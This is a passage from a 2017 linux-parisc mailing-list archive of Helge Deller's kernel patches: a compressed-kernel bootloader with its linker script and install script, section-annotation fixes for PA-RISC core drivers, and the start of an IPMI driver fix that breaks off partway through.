+#ifdef CONFIG_64BIT
+	. = ALIGN(16);
+	/* Linkage tables */
+	.opd : {
+		*(.opd)
+	} PROVIDE (__gp = .);
+	.plt : {
+		*(.plt)
+	}
+	.dlt : {
+		*(.dlt)
+	}
+#endif
+	_startcode_end = .;
+
+	/* bootloader code and data starts behind area of extracted kernel */
+	. = (SZ_end - SZparisc_kernel_start + KERNEL_BINARY_TEXT_START);
+
+	/* align on next page boundary */
+	. = ALIGN(4096);
+	.text :	{
+		_text = .;	/* Text */
+		*(.text)
+		*(.text.*)
+		_etext = . ;
+	}
+	. = ALIGN(8);
+	.data :	{
+		_data = . ;
+		*(.data)
+		*(.data.*)
+		_edata = . ;
+	}
+	. = ALIGN(8);
+	.rodata : {
+		_rodata = . ;
+		*(.rodata)	 /* read-only data */
+		*(.rodata.*)
+		_erodata = . ;
+	}
+	. = ALIGN(8);
+	.rodata.compressed : {
+		*(.rodata.compressed)
+	}
+	. = ALIGN(8);
+	.bss : {
+		_bss = . ;
+		*(.bss)
+		*(.bss.*)
+		*(COMMON)
+		. = ALIGN(4096);
+		_ebss = .;
+	}
+
+	STABS_DEBUG
+	.note 0 : { *(.note) }
+
+	/* Sections to be discarded */
+	DISCARDS
+	/DISCARD/ : {
+#ifdef CONFIG_64BIT
+		/* temporary hack until binutils is fixed to not emit these
+		 * for static binaries
+		 */
+		*(.PARISC.unwind)	/* no unwind data */
+		*(.interp)
+		*(.dynsym)
+		*(.dynstr)
+		*(.dynamic)
+		*(.hash)
+		*(.gnu.hash)
+#endif
+	}
+}
diff --git a/arch/parisc/boot/compressed/vmlinux.scr b/arch/parisc/boot/compressed/vmlinux.scr
new file mode 100644
index 0000000..dac2d14
--- /dev/null
+++ b/arch/parisc/boot/compressed/vmlinux.scr
@@ -0,0 +1,10 @@
+SECTIONS
+{
+  .rodata.compressed : {
+	input_len = .;
+	LONG(input_data_end - input_data) input_data = .;
+	*(.data)
+	output_len = . - 4; /* can be at unaligned address */
+	input_data_end = .;
+	}
+}
diff --git a/arch/parisc/boot/install.sh b/arch/parisc/boot/install.sh
new file mode 100644
index 0000000..8f7c365
--- /dev/null
+++ b/arch/parisc/boot/install.sh
@@ -0,0 +1,65 @@
+#!/bin/sh
+#
+# arch/parisc/install.sh, derived from arch/i386/boot/install.sh
+#
+# This file is subject to the terms and conditions of the GNU General Public
+# License.  See the file "COPYING" in the main directory of this archive
+# for more details.
+#
+# Copyright (C) 1995 by Linus Torvalds
+#
+# Adapted from code in arch/i386/boot/Makefile by H. Peter Anvin
+#
+# "make install" script for i386 architecture
+#
+# Arguments:
+#   $1 - kernel version
+#   $2 - kernel image file
+#   $3 - kernel map file
+#   $4 - default install path (blank if root directory)
+#
+
+verify () {
+	if [ ! -f "$1" ]; then
+		echo ""                                                   1>&2
+		echo " *** Missing file: $1"                              1>&2
+		echo ' *** You need to run "make" before "make install".' 1>&2
+		echo ""                                                   1>&2
+		exit 1
+	fi
+}
+
+# Make sure the files actually exist
+
+verify "$2"
+verify "$3"
+
+# User may have a custom install script
+
+if [ -n "${INSTALLKERNEL}" ]; then
+  if [ -x ~/bin/${INSTALLKERNEL} ]; then exec ~/bin/${INSTALLKERNEL} "$@"; fi
+  if [ -x /sbin/${INSTALLKERNEL} ]; then exec /sbin/${INSTALLKERNEL} "$@"; fi
+fi
+
+# Default install
+
+if [ "$(basename $2)" = "zImage" ]; then
+# Compressed install
+  echo "Installing compressed kernel"
+  base=vmlinuz
+else
+# Normal install
+  echo "Installing normal kernel"
+  base=vmlinux
+fi
+
+if [ -f $4/$base-$1 ]; then
+  mv $4/$base-$1 $4/$base-$1.old
+fi
+cat $2 > $4/$base-$1
+
+# Install system map file
+if [ -f $4/System.map-$1 ]; then
+  mv $4/System.map-$1 $4/System.map-$1.old
+fi
+cp $3 $4/System.map-$1
diff --git a/arch/parisc/include/asm/page.h b/arch/parisc/include/asm/page.h
index 80e742a..bfed09d 100644
--- a/arch/parisc/include/asm/page.h
+++ b/arch/parisc/include/asm/page.h
@@ -116,11 +116,15 @@ extern int npmem_ranges;
 /* This governs the relationship between virtual and physical addresses.
  * If you alter it, make sure to take care of our various fixed mapping
  * segments in fixmap.h */
+#if defined(BOOTLOADER)
+#define __PAGE_OFFSET	(0)		/* bootloader uses physical addresses */
+#else
 #ifdef CONFIG_64BIT
 #define __PAGE_OFFSET	(0x40000000)	/* 1GB */
 #else
 #define __PAGE_OFFSET	(0x10000000)	/* 256MB */
 #endif
+#endif /* BOOTLOADER */
 
 #define PAGE_OFFSET		((unsigned long)__PAGE_OFFSET)
 
diff --git a/arch/parisc/include/asm/pdc.h b/arch/parisc/include/asm/pdc.h
index 7569627..26b4455 100644
--- a/arch/parisc/include/asm/pdc.h
+++ b/arch/parisc/include/asm/pdc.h
@@ -5,6 +5,8 @@
 
 #if !defined(__ASSEMBLY__)
 
+extern int parisc_narrow_firmware;
+
 extern int pdc_type;
 extern unsigned long parisc_cell_num; /* cell number the CPU runs on (PAT) */
 extern unsigned long parisc_cell_loc; /* cell location of CPU (PAT)	   */
diff --git a/arch/parisc/kernel/firmware.c b/arch/parisc/kernel/firmware.c
index f622a31..41efeed 100644
--- a/arch/parisc/kernel/firmware.c
+++ b/arch/parisc/kernel/firmware.c
@@ -69,7 +69,15 @@
 #include <asm/pdcpat.h>
 #include <asm/processor.h>	/* for boot_cpu_data */
 
+#if defined(BOOTLOADER)
+# undef  spin_lock_irqsave
+# define spin_lock_irqsave(a,b) b = 1
+# undef  spin_unlock_irqrestore
+# define spin_unlock_irqrestore(a,b)
+#else
 static DEFINE_SPINLOCK(pdc_lock);
+#endif
+
 extern unsigned long pdc_result[NUM_PDC_RESULT];
 extern unsigned long pdc_result2[NUM_PDC_RESULT];
 
@@ -186,6 +194,8 @@ void set_firmware_width(void)
 }
 #endif /*CONFIG_64BIT*/
 
+
+#if !defined(BOOTLOADER)
 /**
  * pdc_emergency_unlock - Unlock the linux pdc lock
  *
@@ -1143,6 +1153,8 @@ void pdc_io_reset_devices(void)
 	spin_unlock_irqrestore(&pdc_lock, flags);
 }
 
+#endif /* defined(BOOTLOADER) */
+
 /* locked by pdc_console_lock */
 static int __attribute__((aligned(8)))   iodc_retbuf[32];
 static char __attribute__((aligned(64))) iodc_dbuf[4096];
@@ -1187,6 +1199,7 @@ int pdc_iodc_print(const unsigned char *str, unsigned count)
 	return i;
 }
 
+#if !defined(BOOTLOADER)
 /**
  * pdc_iodc_getc - Read a character (non-blocking) from the PDC console.
  *
@@ -1524,6 +1537,7 @@ int pdc_pat_mem_get_dimm_phys_location(
 	return retval;
 }
 #endif /* CONFIG_64BIT */
+#endif /* defined(BOOTLOADER) */
 
 
 /***************** 32-bit real-mode calls ***********/
@@ -1633,4 +1647,3 @@ long real64_call(unsigned long fn, ...)
 }
 
 #endif /* CONFIG_64BIT */
-
diff --git a/arch/parisc/kernel/real2.S b/arch/parisc/kernel/real2.S
index 1db58e5..cc99634 100644
--- a/arch/parisc/kernel/real2.S
+++ b/arch/parisc/kernel/real2.S
@@ -162,6 +162,7 @@ ENDPROC_CFI(restore_control_regs)
 	.text
 	.align 128
 ENTRY_CFI(rfi_virt2real)
+#if !defined(BOOTLOADER)
 	/* switch to real mode... */
 	rsm		PSW_SM_I,%r0
 	load32		PA(rfi_v2r_1), %r1
@@ -191,6 +192,7 @@ ENTRY_CFI(rfi_virt2real)
 	nop
 rfi_v2r_1:
 	tophys_r1 %r2
+#endif /* defined(BOOTLOADER) */
 	bv	0(%r2)
 	nop
 ENDPROC_CFI(rfi_virt2real)
@@ -198,6 +200,7 @@ ENDPROC_CFI(rfi_virt2real)
 	.text
 	.align 128
 ENTRY_CFI(rfi_real2virt)
+#if !defined(BOOTLOADER)
 	rsm		PSW_SM_I,%r0
 	load32		(rfi_r2v_1), %r1
 	nop
@@ -226,6 +229,7 @@ ENTRY_CFI(rfi_real2virt)
 	nop
 rfi_r2v_1:
 	tovirt_r1 %r2
+#endif /* defined(BOOTLOADER) */
 	bv	0(%r2)
 	nop
 ENDPROC_CFI(rfi_real2virt)
-- 
2.1.0

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 09/14] parisc: Fix section mismatches in parisc core drivers
Date: Mon, 21 Aug 2017 22:22:56 +0200
Lines: 281
Approved: news@gmane.org
Message-ID: <1503346981-28024-10-git-send-email-deller@gmx.de>
References: <1503346981-28024-1-git-send-email-deller@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1503347009 11864 195.159.176.226 (21 Aug 2017 20:23:29 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 21 Aug 2017 20:23:29 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
        James Bottomley <James.Bottomley@HansenPartnership.com>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 21 22:23:24 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1djtEC-0000lq-FV
	for glpp-linux-parisc@m.gmane.org; Mon, 21 Aug 2017 22:23:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753985AbdHUUXX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 21 Aug 2017 16:23:23 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:61889 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1753695AbdHUUXW (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 21 Aug 2017 16:23:22 -0400
Original-Received: from p100.fritz.box ([193.159.21.213]) by mail.gmx.com (mrgmx101
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0M0LtB-1dQztV1Ghh-00uWJm; Mon, 21
 Aug 2017 22:23:04 +0200
X-Mailer: git-send-email 2.1.0
In-Reply-To: <1503346981-28024-1-git-send-email-deller@gmx.de>
X-Provags-ID: V03:K0:S9Y/3+WNJRm9t9bXrPgxoOCO26rVuRnLwiNb1NiTEaHUyDyoruV
 t/vM3gpGIhzKNE3+MM7ydGtzGQeA5dMvraxfhP6OXCCM112tJS74jERPWFT4C6q0u44O+O6
 h9zMTEXl5lC5jpk2hHSIYRBF/qh2aLH8rQZ5JLK9iUS4xQ7mYHEAIIc+f4EfOezJikmKHd3
 zqVKuwFaDijIRX3JhorOg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:0AUcifIvmWg=:xpwd4kVAoSR4B9nvNLzBpY
 TPkxLecKjcD4/+u686PlVmsgZaKIlFNGkMv8HGjVWCmzLmQq8t7V87EHRAV23ezhQQEu4kKyJ
 0UsmSufq4WXL5GZyYIXJC43ZxUTC7p3GE+jRxUNKY3g97UItkLJJZkPfN8sh6xkxLQ5BAQ1AH
 Qm2lMZMAvFnHe7wPoXomfurH2t+t6tTnXE+nu4E4ZEhsQoxMtUbqvV+8COPgGoczz2hQAWlOh
 TUb7icTrDHt2PyN8DuJTblmmC+q/5FUiCaoxl0geWVpuS75fMc8p13KJDwK/FuxLCNQ25Xlry
 5GJ++Wzp3UOojkY3N72FiAB/jM/PT/9T7DPi+bX7c5O2iO8KwBSK8bZ1n5SkRLmwmMY3fXR7g
 8ACXaqawILSu2RJEIA0xaCN3Xyn+tpUS4jXZON0bVDi/DWznonuiZANblXxZeeXF8VRMWwThX
 WgMDNo4W43/kqtk2qpyYOJCR1McUAKs04MrilU43lIeU0RZYDv+cJs3wHTnlih98mMWaPoboO
 gvO3YAM7ZWk3Y5RV5hEnL4EfcAQG/1S8MV5VYafe6FvSIZEYoRe4nbNVp7GzRzT8XliTnm3zl
 c2F+lPlEFB/RaslmjO6kSNfNwVvEkz0ZhNhQ1jDBfMr+FJvCC1VzkBTWqO3kM0iRPXxIXB6Bh
 dqDnOqGLDf5/HlMxqTeNEj1v72WqGhCzzH09fm80dzh11sb5hArH7//oac27a2hJAl0NTfWP4
 z7bI/CyMt7pEYNujNJP496ZpnwVyekizR8g4LL5QQ5mWuA6ELIusX3eGTFnzr16+Uh/31CeD 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27728
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27728>

Signed-off-by: Helge Deller <deller@gmx.de>
---
 drivers/parisc/asp.c         | 4 ++--
 drivers/parisc/ccio-dma.c    | 4 ++--
 drivers/parisc/ccio-rm-dma.c | 6 +++---
 drivers/parisc/dino.c        | 4 ++--
 drivers/parisc/eisa.c        | 4 ++--
 drivers/parisc/hppb.c        | 6 +++---
 drivers/parisc/lasi.c        | 4 ++--
 drivers/parisc/lba_pci.c     | 4 ++--
 drivers/parisc/sba_iommu.c   | 6 +++---
 drivers/parisc/superio.c     | 4 ++--
 drivers/parisc/wax.c         | 4 ++--
 11 files changed, 25 insertions(+), 25 deletions(-)

diff --git a/drivers/parisc/asp.c b/drivers/parisc/asp.c
index 6a1ab25..7c143f0 100644
--- a/drivers/parisc/asp.c
+++ b/drivers/parisc/asp.c
@@ -118,12 +118,12 @@ static int __init asp_init_chip(struct parisc_device *dev)
 	return ret;
 }
 
-static struct parisc_device_id asp_tbl[] = {
+static struct parisc_device_id asp_tbl[] __initconst = {
 	{ HPHW_BA, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x00070 },
 	{ 0, }
 };
 
-struct parisc_driver asp_driver = {
+struct parisc_driver asp_driver __refdata = {
 	.name =		"asp",
 	.id_table =	asp_tbl,
 	.probe =	asp_init_chip,
diff --git a/drivers/parisc/ccio-dma.c b/drivers/parisc/ccio-dma.c
index 6aa1e7f..64d491e 100644
--- a/drivers/parisc/ccio-dma.c
+++ b/drivers/parisc/ccio-dma.c
@@ -1241,7 +1241,7 @@ ccio_get_iotlb_size(struct parisc_device *dev)
 #endif /* 0 */
 
 /* We *can't* support JAVA (T600). Venture there at your own risk. */
-static const struct parisc_device_id ccio_tbl[] = {
+static struct parisc_device_id ccio_tbl[] __initconst = {
 	{ HPHW_IOA, HVERSION_REV_ANY_ID, U2_IOA_RUNWAY, 0xb }, /* U2 */
 	{ HPHW_IOA, HVERSION_REV_ANY_ID, UTURN_IOA_RUNWAY, 0xb }, /* UTurn */
 	{ 0, }
@@ -1249,7 +1249,7 @@ static const struct parisc_device_id ccio_tbl[] = {
 
 static int ccio_probe(struct parisc_device *dev);
 
-static struct parisc_driver ccio_driver = {
+static struct parisc_driver ccio_driver __refdata = {
 	.name =		"ccio",
 	.id_table =	ccio_tbl,
 	.probe =	ccio_probe,
diff --git a/drivers/parisc/ccio-rm-dma.c b/drivers/parisc/ccio-rm-dma.c
index 1bf9880..93cded9 100644
--- a/drivers/parisc/ccio-rm-dma.c
+++ b/drivers/parisc/ccio-rm-dma.c
@@ -163,7 +163,7 @@ static struct pci_dma_ops ccio_ops = {
 ** If so, initialize the chip and tell other partners in crime they
 ** have work to do.
 */
-static int
+static int __init
 ccio_probe(struct parisc_device *dev)
 {
 	printk(KERN_INFO "%s found %s at 0x%lx\n", MODULE_NAME,
@@ -184,13 +184,13 @@ ccio_probe(struct parisc_device *dev)
 	return 0;
 }
 
-static struct parisc_device_id ccio_tbl[] = {
+static struct parisc_device_id ccio_tbl[] __initconst = {
 	{ HPHW_BCPORT, HVERSION_REV_ANY_ID, U2_BC_GSC, 0xc },
 	{ HPHW_BCPORT, HVERSION_REV_ANY_ID, UTURN_BC_GSC, 0xc },
 	{ 0, }
 };
 
-static struct parisc_driver ccio_driver = {
+static struct parisc_driver ccio_driver __refdata = {
 	.name =		"U2/Uturn",
 	.id_table =	ccio_tbl,
 	.probe =	ccio_probe,
diff --git a/drivers/parisc/dino.c b/drivers/parisc/dino.c
index ed92c12..87de05f 100644
--- a/drivers/parisc/dino.c
+++ b/drivers/parisc/dino.c
@@ -1022,7 +1022,7 @@ static int __init dino_probe(struct parisc_device *dev)
  * and 725 firmware misreport it as 0x08080 for no adequately explained
  * reason.
  */
-static struct parisc_device_id dino_tbl[] = {
+static struct parisc_device_id dino_tbl[] __initconst = {
 	{ HPHW_A_DMA, HVERSION_REV_ANY_ID, 0x004, 0x0009D },/* Card-mode Dino */
 	{ HPHW_A_DMA, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x08080 }, /* XXX */
 	{ HPHW_BRIDGE, HVERSION_REV_ANY_ID, 0x680, 0xa }, /* Bridge-mode Dino */
@@ -1031,7 +1031,7 @@ static struct parisc_device_id dino_tbl[] = {
 	{ 0, }
 };
 
-static struct parisc_driver dino_driver = {
+static struct parisc_driver dino_driver __refdata = {
 	.name =		"dino",
 	.id_table =	dino_tbl,
 	.probe =	dino_probe,
diff --git a/drivers/parisc/eisa.c b/drivers/parisc/eisa.c
index 7e2f6d5..9ff434f 100644
--- a/drivers/parisc/eisa.c
+++ b/drivers/parisc/eisa.c
@@ -393,7 +393,7 @@ static int __init eisa_probe(struct parisc_device *dev)
 	return result;
 }
 
-static const struct parisc_device_id eisa_tbl[] = {
+static const struct parisc_device_id eisa_tbl[] __initconst = {
 	{ HPHW_BA, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x00076 }, /* Mongoose */
 	{ HPHW_BA, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x00090 }, /* Wax EISA */
 	{ 0, }
@@ -401,7 +401,7 @@ static const struct parisc_device_id eisa_tbl[] = {
 
 MODULE_DEVICE_TABLE(parisc, eisa_tbl);
 
-static struct parisc_driver eisa_driver = {
+static struct parisc_driver eisa_driver __refdata = {
 	.name =		"eisa_ba",
 	.id_table =	eisa_tbl,
 	.probe =	eisa_probe,
diff --git a/drivers/parisc/hppb.c b/drivers/parisc/hppb.c
index 898208e..55e92bb 100644
--- a/drivers/parisc/hppb.c
+++ b/drivers/parisc/hppb.c
@@ -45,7 +45,7 @@ static struct hppb_card hppb_card_head = {
  * (return 1). If so, initialize the chip and tell other partners in crime 
  * they have work to do.
  */
-static int hppb_probe(struct parisc_device *dev)
+static int __init hppb_probe(struct parisc_device *dev)
 {
 	int status;
 	struct hppb_card *card = &hppb_card_head;
@@ -81,7 +81,7 @@ static int hppb_probe(struct parisc_device *dev)
         return 0;
 }
 
-static struct parisc_device_id hppb_tbl[] = {
+static struct parisc_device_id hppb_tbl[] __initconst = {
         { HPHW_BCPORT, HVERSION_REV_ANY_ID, 0x500, 0xc }, /* E25 and K */
         { HPHW_BCPORT, 0x0, 0x501, 0xc }, /* E35 */
         { HPHW_BCPORT, 0x0, 0x502, 0xc }, /* E45 */
@@ -89,7 +89,7 @@ static struct parisc_device_id hppb_tbl[] = {
         { 0, }
 };
 
-static struct parisc_driver hppb_driver = {
+static struct parisc_driver hppb_driver __refdata = {
         .name =         "gecko_boa",
         .id_table =     hppb_tbl,
 	.probe =        hppb_probe,
diff --git a/drivers/parisc/lasi.c b/drivers/parisc/lasi.c
index e65727c..4c92254 100644
--- a/drivers/parisc/lasi.c
+++ b/drivers/parisc/lasi.c
@@ -227,12 +227,12 @@ static int __init lasi_init_chip(struct parisc_device *dev)
 	return ret;
 }
 
-static struct parisc_device_id lasi_tbl[] = {
+static struct parisc_device_id lasi_tbl[] __initdata = {
 	{ HPHW_BA, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x00081 },
 	{ 0, }
 };
 
-struct parisc_driver lasi_driver = {
+struct parisc_driver lasi_driver __refdata = {
 	.name =		"lasi",
 	.id_table =	lasi_tbl,
 	.probe =	lasi_init_chip,
diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index bc286cb..b5a3356 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -1613,14 +1613,14 @@ lba_driver_probe(struct parisc_device *dev)
 	return 0;
 }
 
-static struct parisc_device_id lba_tbl[] = {
+static struct parisc_device_id lba_tbl[] __initconst = {
 	{ HPHW_BRIDGE, HVERSION_REV_ANY_ID, ELROY_HVERS, 0xa },
 	{ HPHW_BRIDGE, HVERSION_REV_ANY_ID, MERCURY_HVERS, 0xa },
 	{ HPHW_BRIDGE, HVERSION_REV_ANY_ID, QUICKSILVER_HVERS, 0xa },
 	{ 0, }
 };
 
-static struct parisc_driver lba_driver = {
+static struct parisc_driver lba_driver __refdata = {
 	.name =		MODULE_NAME,
 	.id_table =	lba_tbl,
 	.probe =	lba_driver_probe,
diff --git a/drivers/parisc/sba_iommu.c b/drivers/parisc/sba_iommu.c
index 4086f79..2866542 100644
--- a/drivers/parisc/sba_iommu.c
+++ b/drivers/parisc/sba_iommu.c
@@ -1905,7 +1905,7 @@ static const struct file_operations sba_proc_bitmap_fops = {
 };
 #endif /* CONFIG_PROC_FS */
 
-static struct parisc_device_id sba_tbl[] = {
+static struct parisc_device_id sba_tbl[] __initconst = {
 	{ HPHW_IOA, HVERSION_REV_ANY_ID, ASTRO_RUNWAY_PORT, 0xb },
 	{ HPHW_BCPORT, HVERSION_REV_ANY_ID, IKE_MERCED_PORT, 0xc },
 	{ HPHW_BCPORT, HVERSION_REV_ANY_ID, REO_MERCED_PORT, 0xc },
@@ -1916,7 +1916,7 @@ static struct parisc_device_id sba_tbl[] = {
 
 static int sba_driver_callback(struct parisc_device *);
 
-static struct parisc_driver sba_driver = {
+static struct parisc_driver sba_driver __refdata = {
 	.name =		MODULE_NAME,
 	.id_table =	sba_tbl,
 	.probe =	sba_driver_callback,
@@ -1927,7 +1927,7 @@ static struct parisc_driver sba_driver = {
 ** If so, initialize the chip and tell other partners in crime they
 ** have work to do.
 */
-static int sba_driver_callback(struct parisc_device *dev)
+static int __init sba_driver_callback(struct parisc_device *dev)
 {
 	struct sba_device *sba_dev;
 	u32 func_class;
diff --git a/drivers/parisc/superio.c b/drivers/parisc/superio.c
index deeaed5..8ce3457 100644
--- a/drivers/parisc/superio.c
+++ b/drivers/parisc/superio.c
@@ -482,14 +482,14 @@ superio_probe(struct pci_dev *dev, const struct pci_device_id *id)
 	return -ENODEV;
 }
 
-static const struct pci_device_id superio_tbl[] = {
+static struct pci_device_id superio_tbl[] __initconst = {
 	{ PCI_DEVICE(PCI_VENDOR_ID_NS, PCI_DEVICE_ID_NS_87560_LIO) },
 	{ PCI_DEVICE(PCI_VENDOR_ID_NS, PCI_DEVICE_ID_NS_87560_USB) },
 	{ PCI_DEVICE(PCI_VENDOR_ID_NS, PCI_DEVICE_ID_NS_87415) },
 	{ 0, }
 };
 
-static struct pci_driver superio_driver = {
+static struct pci_driver superio_driver __refdata = {
 	.name =         SUPERIO,
 	.id_table =     superio_tbl,
 	.probe =        superio_probe,
diff --git a/drivers/parisc/wax.c b/drivers/parisc/wax.c
index da9d5ad..636801a 100644
--- a/drivers/parisc/wax.c
+++ b/drivers/parisc/wax.c
@@ -125,14 +125,14 @@ static int __init wax_init_chip(struct parisc_device *dev)
 	return ret;
 }
 
-static struct parisc_device_id wax_tbl[] = {
+static struct parisc_device_id wax_tbl[] __initconst = {
   	{ HPHW_BA, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x0008e },
 	{ 0, }
 };
 
 MODULE_DEVICE_TABLE(parisc, wax_tbl);
 
-struct parisc_driver wax_driver = {
+struct parisc_driver wax_driver __refdata = {
 	.name =		"wax",
 	.id_table =	wax_tbl,
 	.probe =	wax_init_chip,
-- 
2.1.0

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 13/14] parisc/ipmi_si_intf: Fix section mismatches on parisc platform
Date: Mon, 21 Aug 2017 22:23:00 +0200
Lines: 58
Approved: news@gmane.org
Message-ID: <1503346981-28024-14-git-send-email-deller@gmx.de>
References: <1503346981-28024-1-git-send-email-deller@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1503347013 12688 195.159.176.226 (21 Aug 2017 20:23:33 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 21 Aug 2017 20:23:33 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
        James Bottomley <James.Bottomley@HansenPartnership.com>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 21 22:23:29 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1djtEO-0000lq-9a
	for glpp-linux-parisc@m.gmane.org; Mon, 21 Aug 2017 22:23:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754353AbdHUUXe (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 21 Aug 2017 16:23:34 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:56091 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1754335AbdHUUXb (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 21 Aug 2017 16:23:31 -0400
Original-Received: from p100.fritz.box ([193.159.21.213]) by mail.gmx.com (mrgmx101
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0Ldttv-1dIq8B3bPP-00j4HU; Mon, 21
 Aug 2017 22:23:04 +0200
X-Mailer: git-send-email 2.1.0
In-Reply-To: <1503346981-28024-1-git-send-email-deller@gmx.de>
X-Provags-ID: V03:K0:0A+QhY0XVoHmSBz/V2d41b4yYCfQJmBGwAbbfhsyQvWMN9Gaw2s
 LI263kbIfTe6zs4yICqi5o8dG3UnoRe7s1/gp0D0qeho30ZsaWPUNqW+xWIM31JHo0t3lYe
 rk5e05Fib0D3IVC7iLD95yuP56JJglirT4TL1+imf6zS7N6N1n8ecPwQ8HBGS0hvFtWqk4V
 emRqAaTblzAWrlM8I+AMw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:1FwWPUlfMRU=:UwHO6xvRXx3oEv+4s9lOas
 wasXat7ARWDRDctLa7Dp4GfICHjQKGOEBxKigJDP07KmC3JRsM6B/3rn1quP60N42HdwukT8G
 VLqMEEJxmrhfrUHgYhemh33B+26ftgWPzxubStuNDKxSpzNzXEWgOmmHU+tE0X9RZJaI1v5hx
 5/+Y/Ip1axZv+NUw+S1WOZ4jtSift2oShjg4EWNlSKcc6EyVfxPg0tD31YiIrQFIf3S2Teg7Q
 N+esQvXH+6SHbSt/HV0Qg/yX0ArBE16fhc5a845rbmYX22pOrjU/lmOLGvBqaSfAzgri84H5c
 cLYc9vInw+LINm2xyc9QStluFth6knsHvWzmUSU5LgTYccw6lt23BBAppcRRW64vG5Ceic7HH
 5nYpxhPLD7F+gVJgyT29bc8KEPe6mteLGHsnyvXHp2pJtJLgRYQ9pew0TUpLBnMNQuEcp03wt
 RplSUqrbnlnO41SX8NT+UMCuHEWjIkiuGH0ZI+hK01YEeIbquizx+e9Q6b66qV12cRM3ycoH6
 YOU9R22VaA1mvlAo4AfOV2RFLf4ihaG4C2hm4e8VBJ03BdXrpLF3UwgHE4Fk24nXgThuvJ511
 a0Kt//8jnavlo8V2DJBWwGZkX01dqu7oYc+jqwH4tZm0JVO4PXp1Hrmjkd1DBVDgjbElK/6KM
 ibJaOPC1CWHD+KLxmDkOIP0YHQI43Yiz0LrqvtMBG9PSeGgnEsFoR0f2I3qaD39hropsf/93o
 Kzj60mtxP9wNOvunrdHqKD7Jh00g0ZUKUkEKLkILfkesxCTAhCFsleHXjni8gg+yuSvvlB9w 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27729
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27729>

Additionally add a MODULE_DEVICE_TABLE entry so that udev
can load the driver automatically.

Signed-off-by: Helge Deller <deller@gmx.de>
---
 drivers/char/ipmi/ipmi_si_intf.c | 12 +++++++-----
 1 file changed, 7 insertions(+), 5 deletions(-)

diff --git a/drivers/char/ipmi/ipmi_si_intf.c b/drivers/char/ipmi/ipmi_si_intf.c
index 9859738..36f47e8 100644
--- a/drivers/char/ipmi/ipmi_si_intf.c
+++ b/drivers/char/ipmi/ipmi_si_intf.c
@@ -2812,7 +2812,7 @@ static struct platform_driver ipmi_driver = {
 };
 
 #ifdef CONFIG_PARISC
-static int ipmi_parisc_probe(struct parisc_device *dev)
+static int __init ipmi_parisc_probe(struct parisc_device *dev)
 {
 	struct smi_info *info;
 	int rv;
@@ -2850,22 +2850,24 @@ static int ipmi_parisc_probe(struct parisc_device *dev)
